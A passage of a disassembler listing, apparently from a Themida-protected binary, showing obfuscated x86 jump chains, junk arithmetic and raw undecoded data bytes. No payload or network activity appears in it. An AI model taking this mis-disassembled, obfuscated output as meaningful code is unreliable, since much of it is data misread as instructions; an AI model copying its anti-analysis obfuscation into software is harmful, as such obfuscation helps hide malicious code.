		dd 5053C6FEh, 0C78801B0h, 0FFE544E9h, 2C383FFh,	31241C33h
		dd 1C33241Ch, 8B665C24h, 0B868240Ch, 89000073h,	84E9241Ch
		dd 50000A6h, 4,	8769E9h
		db 0
; ---------------------------------------------------------------------------

loc_5184FD:				; CODE XREF: Themida_:005100E3j
		inc	ah
		add	ah, 1
		or	ah, 3Eh
		neg	ah
		xor	ah, 70h
		jmp	loc_524706
; ---------------------------------------------------------------------------

loc_51850F:				; CODE XREF: Themida_:0051E2E0j
		xchg	ebx, ebp
		neg	ebp
		push	edx
		mov	edx, esp
		jmp	loc_5134B8
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0A06342BFh,	5FFD897Dh, 5F3568h, 242C8900h
		dd 0FFDA94E9h, 4C283FFh, 0E9241487h, 0AB8Dh, 0EB81C301h
		dd 6C9E63ACh, 69C28158h, 1665205h, 0A1AEE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51855A:				; CODE XREF: Themida_:005207E2j
		push	esi
		mov	esi, 4
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_50FD7D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 5BFF75EBh, 895AD329h, 0E9815BDEh, 47830E48h,	0C181F101h
		dd 47830E48h, 8324348Bh, 895104C4h, 0BD5556E1h,	46DB6288h
		dd 0DB628CBEh, 5DEE2946h, 685EF101h, 1521h, 0FFDBBFE9h
		dd 0A6BF57FFh, 0F77D0C50h, 1EF83DFh, 0EF83D7F7h, 15B85001h
		dd 2173B906h, 0B66BE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5185C6:				; CODE XREF: Themida_:005119B8j
		push	330Ah
		mov	[esp], eax
		mov	eax, 3CB84265h
		and	ebx, eax
		mov	eax, [esp]
		jmp	loc_521214
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0EBh
		dd 41B8505Dh, 0E922602Bh, 0FFFFA184h, 0B951565Eh, 27CF79B6h
		dd 5759CE89h, 0FFB0CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5185FD:				; CODE XREF: Themida_:0051AC02j
		pop	esp
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 52h
		dd 0E83297BAh, 1591685Fh, 14890000h, 2414F724h,	8124148Bh
		dd 4C4h, 48B7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_518622:				; CODE XREF: Themida_:00515450j
		mov	ecx, 7F7D2B91h
		sub	ecx, 131CE52h
		xor	esi, ecx
		jmp	loc_513221
; ---------------------------------------------------------------------------

loc_518634:				; CODE XREF: Themida_:0051AA9Bj
		mov	edi, 34C90D86h
		inc	edi
		xor	edi, 103E580Ah
		xor	edi, 4E7D238Ah
		add	ebx, edi
		pop	edi
		jmp	loc_51919E
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0AF65B423h, 0FFFC8AE9h, 4C483FFh, 4C781h, 0B8500000h
		dd 400A60E8h, 4EC81h, 6DE90000h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518673:				; CODE XREF: Themida_:00510D36j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_51E3A6
; ---------------------------------------------------------------------------

loc_518681:				; CODE XREF: Themida_:00512E0Cj
		pop	ebp
		sub	ebx, 7FB3B5Dh
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5186D4
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 64h
		dd 5185C780h, 0F10412B1h, 0F12CC828h, 0E9750459h, 0FFFF7BDDh
		dd 0F1E9D931h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5186B7:				; CODE XREF: Themida_:005141D9j
		xor	ebx, edx
		pop	edx
		and	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 816FBAC2h
		sub	esi, 584D19EEh
		jmp	loc_511CEE
; ---------------------------------------------------------------------------

loc_5186CE:				; CODE XREF: Themida_:00516709j
		push	ecx
		jmp	loc_510238
; ---------------------------------------------------------------------------

loc_5186D4:				; CODE XREF: Themida_:00518694j
		xor	edx, 27E15F44h
		add	edx, 28223946h
		dec	edx
		jmp	loc_519BE9
; ---------------------------------------------------------------------------
		dw 0C7BEh
		dd 89521618h, 0BD555EF2h, 2061A0Ch, 0F75DEA09h,	34F281D2h
		dd 1ADE9E5h, 0EC835AD7h, 24148904h, 4BAh, 5AD70100h, 8904EC83h
		dd 74FF243Ch, 3C8B0424h, 95CEE924h, 0BD550000h,	6D3A0DB0h
		dd 0B3E9EA89h, 29FFFF7Bh, 0D8015EF3h, 96C6E9h, 2434FF00h
		dd 0E3895358h, 4C381h, 0E9560000h, 0FFFFC4CEh, 3EB368h
		dd 240C8900h, 0FF87A0E9h, 0D67BEFFh, 0F0293A65h, 5F8295Eh
		dd 3A650D67h, 0FFB462E9h, 0C4815AFFh, 4, 0F839972Dh, 5D80142h
		dd 42F83997h, 49685D5Bh, 89000035h, 0BE56243Ch,	4AB17808h
		dd 348BF789h, 51CAE924h, 0DE290000h
		db 5Bh,	1, 0C6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		sub	ebp, 3F141F82h
		add	ebp, edi
		jmp	loc_515201
; ---------------------------------------------------------------------------

loc_5187B5:				; CODE XREF: Themida_:00522152j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5235A8
; ---------------------------------------------------------------------------
		db 80h
		dd 0EEC067E6h, 29F68004h, 0F680h, 0E8285AF5h, 0C0E9E959h
		dd 9B680000h, 5A600C7Ah, 6E04C281h, 0C7E960FBh,	0C0000002h
		dd 895305E1h, 4C381E3h,	81000000h, 2EBh, 241C8700h, 1C89665Ch
		dd 0E2B65224h, 88F18851h, 34FF59CFh, 89505A24h,	405E0h
		dd 0C0830000h, 7754E904h, 815EFFFFh, 4C4h, 2E23E900h, 0C7310000h
		dd 443FE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_518836:				; CODE XREF: Themida_:0051AD4Cj
		mov	edi, 4
		jmp	loc_51D78A
; ---------------------------------------------------------------------------
aQABa		db 'QµÎ€Í¡€Å',0
		db 0E9h, 18h, 0A5h
		dd 0B9E90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518853:				; CODE XREF: Themida_:00511669j
		sub	edi, 51C85CADh
		add	eax, edi
		pop	edi
		jmp	loc_517990
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5
		dd 22167539h, 83242C8Bh, 466804C4h, 0E900005Ch,	0FFFFE89Ch
		dd 4EC680h, 4EB551E6h, 282EC680h, 2EEE80EEh, 4EC8159h
		dd 0E9000000h, 0FFFFDFEFh, 4EC815Bh, 89000000h,	7CB82404h
		dd 0C13FEA7Eh, 6DE905E0h, 55000035h, 2BDh, 0E9E92900h
		dd 5E0Dh, 2434FF59h, 4C4815Eh, 83000000h, 1C3302C3h, 241C3124h
		dd 8B241C33h, 8B662424h, 89572404h, 0E2E955E7h,	0E900008Fh
		dd 0FFFF6E28h, 35ADB951h, 0CB2937F1h, 0A6A0E959h, 46350000h
		dd 2D49E41Fh, 22204523h, 48BC129h, 4C48124h, 0E9000000h
		dd 6067h
; ---------------------------------------------------------------------------

loc_51890C:				; CODE XREF: Themida_:00524D4Dj
		mov	esi, ecx
		pop	ecx
		sub	esi, 69C5B912h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 58533EDBh
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4BF5700h, 1000000h, 0E9555FFDh, 5F02h,	0E9240C33h
		dd 94E1h, 8512E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51894E:				; CODE XREF: Themida_:0051F783j
		mov	[esp], edx
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 3FE94B1Eh, 0FF8009E9h, 0BBF781FFh, 29325E3Dh, 0BF575FFBh
		dd 177F05D2h, 0FFB0F0E9h, 5DEA29FFh, 0C281F201h, 7F7E53B2h
		dd 6626C281h, 62E9034Dh, 68FFFFA2h, 7FE7h, 0C083E9h, 0C0C8FE00h
		dd 0D52C05E0h, 0ADE8E9h, 0E9545000h, 2486h, 33243431h
		dd 248B2434h, 2D206824h, 38E90000h, 0BB000006h,	5341B88h
		dd 35AE381h, 0EBD13B64h, 8103EBC1h, 5B3C6EEBh, 0BC46E958h
		dd 0F705FFFFh, 0E9417C45h, 0C426h, 24348B59h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0DAE92414h, 66FFFFCCh, 0B9B551h
		dd 6602246Ch, 2AC7E959h, 4D680000h, 8900006Eh, 38BE2434h
		dd 810E6865h, 23FA2EBh,	2BB85010h, 0C15A084Bh, 0D8F708E8h
		dd 0F740D8F7h, 972D40D0h, 29BD78A6h, 0F32958C3h, 9728E9h
		dd 240C8900h, 45E917B1h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_518A47:				; CODE XREF: Themida_:00511076j
					; Themida_:00519E58j
		push	341Ah
		mov	[esp], esi
		push	ecx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_51BED9
; ---------------------------------------------------------------------------
		db 53h
		dd 2BBh, 8BDD0100h, 0C483241Ch,	4EC8104h, 89000000h, 74FF242Ch
		dd 2C8B0424h, 0E0895024h, 405h,	277DE900h, 0E2800000h
		dd 2BF28008h, 5E01E9h
		db 0
; ---------------------------------------------------------------------------

loc_518AA9:				; CODE XREF: Themida_:0051A5D6j
		mov	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_51F411
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 895CE578h, 0FFBBF1E9h, 68DFBAFFh, 6853635Ch,	19102B94h
		dd 34F3815Bh, 0F7443D79h, 0C0E2E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518AD6:				; CODE XREF: Themida_:0051AB75j
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_510C5D
; ---------------------------------------------------------------------------

loc_518AE3:				; CODE XREF: Themida_:0051280Bj
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5117F8
; ---------------------------------------------------------------------------
		dd 0D3885866h, 0B450665Ah, 66E320FCh, 0FEF38658h, 68F386C6h
		dd 6484h, 0FFDF9EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_518B09:				; CODE XREF: Themida_:0051D0F0j
		push	esi
		mov	esi, 5D2878A6h
		jmp	loc_5152FA
; ---------------------------------------------------------------------------

loc_518B14:				; CODE XREF: Themida_:005226E2j
		mov	esp, [esp]
		push	2F6Bh
		jmp	loc_520EAC
; ---------------------------------------------------------------------------

loc_518B21:				; CODE XREF: Themida_:005213DDj
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_515806
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 0FFFF6BCCh, 0A128E95Ah, 0F3BE0000h
		dd 0E91ACB2Fh, 0B401h, 52BFBA52h, 0E2C1635Fh, 9B5DE903h
		dd 295E0000h, 7EA81FAh,	5F12FB1Bh, 8950C201h, 405E0h, 65E90000h
		dd 1FFFFC6h, 1FEE81CEh,	59258A2Eh, 0C595E956h, 305AFFFFh
		dd 95C4E9FCh, 2C89FFFFh, 0CE95024h, 1000068h, 3C8758C7h
		dd 24248B24h, 0FF6B67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_518BA5:				; CODE XREF: Themida_:00520B67j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		mov	edi, 4
		sub	esp, 4
		jmp	loc_511F1A
; ---------------------------------------------------------------------------
		db 81h
		dd 791377C5h, 0E9EB0153h, 13A7h, 0E924248Bh, 0FFFF8CF0h
		dd 56242C89h, 0A02550BEh, 0D413E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518BDE:				; CODE XREF: Themida_:005109F5j
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 7FCA3AA1h
		and	eax, ecx
		jmp	loc_5177F7
; ---------------------------------------------------------------------------

loc_518BF1:				; CODE XREF: Themida_:00515E5Cj
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, ecx
		jmp	loc_523CE3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 5786h, 4C481h, 0C7810000h, 4, 8904EC83h
		dd 268241Ch, 5B000000h,	3A01BB53h, 0DF013BCEh, 83241C8Bh
		dd 1E904C4h, 5000002Fh,	4B8h, 58C58900h, 4CE9EA29h, 0C100009Bh
		dd 440505E0h, 0E9748F35h, 0C167h, 9B5DBEBFh, 98C78157h
		dd 51A8D2E2h, 47E95153h, 83000089h, 586802C7h, 8900000Ah
		dd 74FF243Ch, 8F5F0424h, 0A2E92404h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518C7F:				; CODE XREF: Themida_:005212D3j
		add	ebx, 35666CA2h
		pop	eax
		jmp	loc_514CC9
; ---------------------------------------------------------------------------
		db 81h
		dd 9E5D83EEh, 0B00DE979h, 0E952FFFFh, 0FFFFA248h
; ---------------------------------------------------------------------------

loc_518C9C:				; CODE XREF: Themida_:005105DFj
		add	[esp+4], ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 0D5B1187h
		jmp	loc_52365E
; ---------------------------------------------------------------------------
		dw 0BA05h
		dd 8129152Bh, 4ECh, 242C8900h, 2E4B3CBDh, 81D5F70Fh, 68CD7EF5h
		dd 5DE801B0h, 0CBE9D801h, 54FFFF95h, 0E9505059h, 42E3h
		dd 7AC8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518CE6:				; CODE XREF: Themida_:0051084Bj
		add	edx, 30740C9h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_521BA6
; ---------------------------------------------------------------------------
		db 81h
		dd 42D1AEEh, 0BE93E958h, 34FF0000h, 0C4835F24h,	0E291E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518D0E:				; CODE XREF: Themida_:0051B78Aj
		push	ecx
		mov	ecx, 18061B5Ch
		inc	ecx
		not	ecx
		jmp	loc_510603
; ---------------------------------------------------------------------------

loc_518D1C:				; CODE XREF: Themida_:0051E8F0j
		pop	eax
		pop	ebx
		neg	ecx
		jmp	loc_515265
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 5Eh
		dd 0F7583062h, 75F681DEh, 81365240h, 0D720D5C6h, 68E95719h
		dd 89FFFFDEh, 0C2E6E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_518D46:				; CODE XREF: Themida_:00516F81j
		push	673Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	7EAFh
		jmp	loc_5193B0
; ---------------------------------------------------------------------------

loc_518D6D:				; CODE XREF: Themida_:00514BF3j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5151ED
; ---------------------------------------------------------------------------
		db 28h
		dd 0FF2B04E8h, 0C8B2434h, 0E7895724h, 92A0E950h, 4050000h
		dd 52000000h, 15E36853h, 1C8B44A3h, 4FC4E924h, 0B85A0000h
		dd 0F261DC90h, 652E3D2Dh, 5D80125h, 25652E3Dh, 0EE9405Bh
		dd 570000B7h, 0A729F3BFh, 5FF92906h, 0CEE98149h, 8142382Ah
		dd 0BC53B4C1h, 0B7C38148h, 13A666Fh, 0B7EB81CBh, 593A666Fh
		dd 5C241C87h, 24042166h, 0B1D5E99Ch, 0C4810000h, 4, 8B1C4721h
		dd 89562404h, 4C681E6h,	0E9000000h, 61F9h, 52240C89h, 4BAh
		dd 0E9D18900h, 0FFFFFD28h
; ---------------------------------------------------------------------------

loc_518E18:				; CODE XREF: Themida_:005249A4j
		mov	edi, 52B37673h
		push	esi
		mov	esi, 508B3101h
		neg	esi
		not	esi
		dec	esi
		neg	esi
		xor	esi, 98EC8395h
		and	edi, esi
		jmp	loc_523ADB
; ---------------------------------------------------------------------------
		db 81h
		dd 180B3862h, 428179F7h, 5E7AAB38h, 9FC688Dh, 30E90000h
		dd 8FFFFFD7h, 0B8502404h, 4, 4244401h, 2434FF58h, 5024148Bh
		dd 0AE95854h, 66FFFFAAh, 5124148Bh, 0C181E189h,	4, 8704E983h
		dd 895C240Ch, 0D3E92404h, 880000A8h, 0D2E95BDCh, 100009Bh
		dd 0BDE957C1h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518E97:				; CODE XREF: Themida_:005172FCj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_513FFA
; ---------------------------------------------------------------------------
		dd 0C2BA5257h, 810A440Ah, 0BBF53DC2h, 5AD789F5h, 15FFB89h
		dd 9F1CE9DDh, 5066FFFFh, 3D8CE9h, 4C68100h, 81000000h
		dd 4C6h, 24348700h, 5E6C15Ch, 0FF83D9E9h, 80CBFEFFh, 0EB8056CBh
		dd 74ACE964h, 0DAF7FFFFh, 76CEA81h, 5BE9487Dh, 0B90000B8h
		dd 6A4F3BD4h, 7E9C149h,	38ADC981h, 0F1810E13h, 60C3DA67h
		dd 77F6E9h, 80BEB300h, 0DBF6DCCBh, 2029C380h, 0EE805BDEh
		dd 5AF30022h, 29B1E9h, 4E5C100h, 0E903E5C1h, 0D8Ah, 241C8966h
		dd 50A2B151h, 1CE911B4h, 8900000Ah, 0E954240Ch,	0B4B4h
; ---------------------------------------------------------------------------

loc_518F50:				; CODE XREF: Themida_:00516D8Dj
		mov	eax, 208B1A30h
		add	ebx, eax
		jmp	loc_50FB0B
; ---------------------------------------------------------------------------
		dd 8083EB80h, 94E9F4C3h, 81000094h, 4C4h, 0BBE95200h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518F73:				; CODE XREF: Themida_:00516D7Fj
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	453Fh
		mov	[esp], edi
		push	esi
		jmp	loc_5180AA
; ---------------------------------------------------------------------------

loc_518F96:				; CODE XREF: Themida_:005122F6j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_510C7F
; ---------------------------------------------------------------------------

loc_518FA3:				; CODE XREF: Themida_:00513BAFj
		mov	dh, 87h
		xor	dh, 98h
		xor	dh, 0C7h
		sub	bl, dh
		jmp	loc_5212A6
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 15E902B6h, 81000048h, 74B5B8F2h, 5F85057Ch, 44E970C8h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518FCB:				; CODE XREF: Themida_:00517984j
		sub	ecx, 0B06A175Ch
		xor	ebp, ecx
		pop	ecx
		jmp	loc_517749
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 1
		dd 2D97E381h, 0C381355Ah, 40FD6CC4h, 6639C381h,	46E989B8h
		dd 89FFFFE6h, 5168241Ch, 8900005Ch, 4812424h, 424h, 1BE95B00h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51900B:				; CODE XREF: Themida_:00514266j
		mov	ecx, 7C1C39AEh
		jmp	loc_52230A
; ---------------------------------------------------------------------------
		db 55h,	53h, 0BBh
		dd 0FCD7A01h, 0B6B198BDh, 5BDD013Ch, 5C23E9h
		db 0
; ---------------------------------------------------------------------------

loc_519029:				; CODE XREF: Themida_:00511CF9j
		add	esp, 4
		jmp	loc_51B2F8
; ---------------------------------------------------------------------------
aRwpVSX		db 'RWP¸‚',7,7,'(é]•',0
		align 2
		dw 34FFh
		dd 0C4815F24h, 4, 2461BB2Dh, 68E82975h,	7B68h, 0E9241C89h
		dd 6DE6h, 0DBB4E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_519062:				; CODE XREF: Themida_:00521CC3j
		add	esp, 4
		push	597Ah
		jmp	loc_524E38
; ---------------------------------------------------------------------------
		db 53h
		dd 525E9h, 15EF8100h, 81CE2420h, 6D074DEBh, 81FB0109h
		dd 6D074DC3h, 86E95F09h, 0FFFFFFFFh, 75E92C77h,	66FFFF66h
		dd 6605AE68h, 66240C89h, 66C8B60Fh, 61E99C51h, 68FFFF66h
		dd 0D44756Eh, 5EDC15Dh,	0E906E5C1h, 151Fh, 0E958C501h
		dd 2024h, 102CB951h, 0CB291903h, 81F30159h, 3102CC3h, 2434FF19h
		dd 4C4835Eh, 0FFA66FE9h, 0DFC281FFh, 0E92C0827h, 3AF8h
		dd 89241C89h, 4C381E3h,	83000000h, 1C8704C3h, 0DF045C24h
		dd 0DF2CF828h, 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 24248B24h, 239A68h, 241C8900h, 685193B7h, 6072h, 52240489h
		dd 0D0885AB2h, 2C94345Ah, 0C0D0F620h, 360407E8h, 5258C588h
		dd 6AB9E9h, 2434FF00h, 8124048Bh, 4ECh,	242C8900h, 4EC81h
		dd 24890000h, 7783E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519166:				; CODE XREF: Themida_:0051BCECj
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		push	39B3h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_519938
; ---------------------------------------------------------------------------
		dw 0F235h
		dd 558A46A6h, 6E1427BDh, 6ABAE96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51919E:				; CODE XREF: Themida_:00518649j
		pop	ecx
		push	esi
		jmp	loc_5240C2
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4147F9B8h, 24448164h, 0D4589204h, 0EE3BE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5191BA:				; CODE XREF: Themida_:0051CC34j
		mov	[esp], esi
		mov	esi, 35CC6F63h
		add	esi, 0FFFFFFFFh
		jmp	loc_520253
; ---------------------------------------------------------------------------

loc_5191CA:				; CODE XREF: Themida_:00516292j
		add	ebx, 0CF0172E2h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		jmp	loc_520CC6
; ---------------------------------------------------------------------------

loc_5191DE:				; CODE XREF: Themida_:00513775j
		push	eax
		mov	eax, 63B853F3h
		xor	eax, 24685B88h
		add	eax, 7FD847E4h
		inc	eax
		dec	eax
		shl	eax, 2
		add	eax, 0E15EBE88h
		add	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_51472E
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 92h
		dd 8B7A2A6Fh, 0C483242Ch, 5514E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519212:				; CODE XREF: Themida_:00523AD6j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5124FC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8124148Bh, 4C4h, 4E686600h, 5946E926h, 0D8F70000h, 0DE0D148h
		dd 38552AF0h, 2D04E0C1h, 8C52AE5Eh, 48BC121h, 4C48324h
		dd 828F181h, 0E1815444h, 509C7197h, 0E9E78957h,	0FFFF8476h
		dd 5966EE08h, 0FF9234E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_519265:				; CODE XREF: Themida_:005242D9j
		mov	ecx, 5CF64399h
		jmp	loc_51D0EB
; ---------------------------------------------------------------------------

loc_51926F:				; CODE XREF: Themida_:0051A804j
		add	bx, bp
		add	bx, 3B5h
		mov	bp, [esp]
		add	esp, 2
		jmp	loc_51CDC0
; ---------------------------------------------------------------------------

loc_519286:				; CODE XREF: Themida_:00512C91j
		mov	[esp], edi
		mov	edi, 0C741DEFCh
		add	eax, 52182374h
		add	eax, edi
		jmp	loc_5214F4
; ---------------------------------------------------------------------------

loc_51929A:				; CODE XREF: Themida_:00511F27j
		push	ebp
		jmp	loc_512329
; ---------------------------------------------------------------------------

loc_5192A0:				; CODE XREF: Themida_:00522500j
		push	dword ptr [esp]
		jmp	loc_5138F1
; ---------------------------------------------------------------------------
		dd 8953575Dh, 4C381E3h,	81000000h, 4EBh, 241C8700h, 0FFC2CCE9h
		dd 43DBF7FFh, 0E3C1D3F7h, 1EB8104h, 50000000h, 3209E8B8h
		dd 58C32913h, 895BD831h, 24048BC7h, 4C481h, 0FAE90000h
		dd 83FFFFD3h, 7CE904ECh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5192F3:				; CODE XREF: Themida_:0051242Ej
		sub	esi, edx
		jmp	loc_51A144
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 5A000000h,	31242C33h, 0BAE9242Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51930F:				; CODE XREF: Themida_:0051560Dj
		push	eax
		mov	eax, 78943E22h
		jmp	loc_513549
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 0E9FD895Dh, 0FFFF77ECh, 1489665Ch, 9C506624h, 0FF63DBE9h
		dd 34FF5CFFh, 982FE924h, 74310000h, 5D5E0424h, 68E7F581h
		dd 5F5E733Ch, 0B311E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51934E:				; CODE XREF: Themida_:00515C43j
		add	esp, 4
		push	ecx
		push	dword ptr [esp]
		jmp	loc_52130B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF63A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_519365:				; CODE XREF: Themida_:00515897j
		pop	eax
		sub	ebx, 4A0C0684h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [eax]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	1CFDh
		mov	[esp], edx
		jmp	loc_51576F
; ---------------------------------------------------------------------------

loc_5193A2:				; CODE XREF: Themida_:00511749j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_516963
; ---------------------------------------------------------------------------

loc_5193B0:				; CODE XREF: Themida_:00518D68j
		mov	[esp], ebp
		push	edx
		mov	edx, 35C216EFh
		mov	ebp, edx
		pop	edx
		shl	ebp, 1
		not	ebp
		xchg	ebx, ebp
		push	ebx
		jmp	loc_51E2DC
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 5DD9E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5193E6:				; CODE XREF: Themida_:005109E3j
		shl	edx, 1
		push	eax
		jmp	loc_520230
; ---------------------------------------------------------------------------
		dw 0FF5Bh
a4Sh		db '4$éH`',0
		dw 0F600h
		dd 0FECAFEDAh, 2E2C0C2h, 9BEA80h, 80FDE9D0h, 0EC830000h
		dd 24148904h, 0A1E943B6h, 5A000031h, 205h, 0B6CCE900h
		dd 0EE810000h, 2E235C1Bh, 70DE681h, 43E9687Fh, 0F700003Eh
		dd 0C58145DDh, 0C8C7549h, 55DEF01h, 7FF92025h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 0FFEFD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_519459:				; CODE XREF: Themida_:00512629j
		add	esi, 4
		jmp	loc_515E9B
; ---------------------------------------------------------------------------
		dd 62DAED81h, 0ED816CDDh, 4D902396h, 0C581D501h, 4D902396h
		dd 166AE9h
		db 0
; ---------------------------------------------------------------------------

loc_51947D:				; CODE XREF: Themida_:00516BCBj
		dec	esi
		add	esi, 6A3E2A05h
		add	esi, 9DE60A24h
		jmp	loc_51A645
; ---------------------------------------------------------------------------
		db 29h
		dd 0C1EE81C6h, 8115E109h, 0AC3C0DEEh, 0B2E95857h, 57FFFFBFh
		dd 1401E8BFh, 2EEF8130h, 504C1248h, 3AD8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5194B5:				; CODE XREF: Themida_:0051AE29j
		pop	edx
		push	edx
		jmp	loc_521749
; ---------------------------------------------------------------------------
		dd 40BB605h, 2DC8017Ah,	7A040BB6h, 22D59h, 89500000h, 405E0h
		dd 42D0000h, 87000000h,	0E95C2404h, 0FFFF8FADh,	0EF31FD31h
		dd 0C581FD31h, 1E551D67h, 2C8BE889h, 8A9BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5194FA:				; CODE XREF: Themida_:00515E75j
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51AE53
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C24048Fh, 0FF7C85E9h, 5E089FFh, 4, 8702E883h, 665C2404h
		dd 57240C89h, 38C68h, 98BDE900h, 48B0000h, 9DD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_519536:				; CODE XREF: Themida_:00514191j
		mov	ebx, 15DD7F2Fh
		dec	ebx
		neg	ebx
		sub	ebx, 0EA2280D1h
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		sub	eax, 7864F60h
		add	eax, ecx
		add	eax, 7864F60h
		push	ecx
		jmp	loc_512362
; ---------------------------------------------------------------------------

loc_519567:				; CODE XREF: Themida_:00522590j
		mov	ecx, 6275D89h
		jmp	loc_51012D
; ---------------------------------------------------------------------------

loc_519571:				; CODE XREF: Themida_:0051EA4Dj
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 2
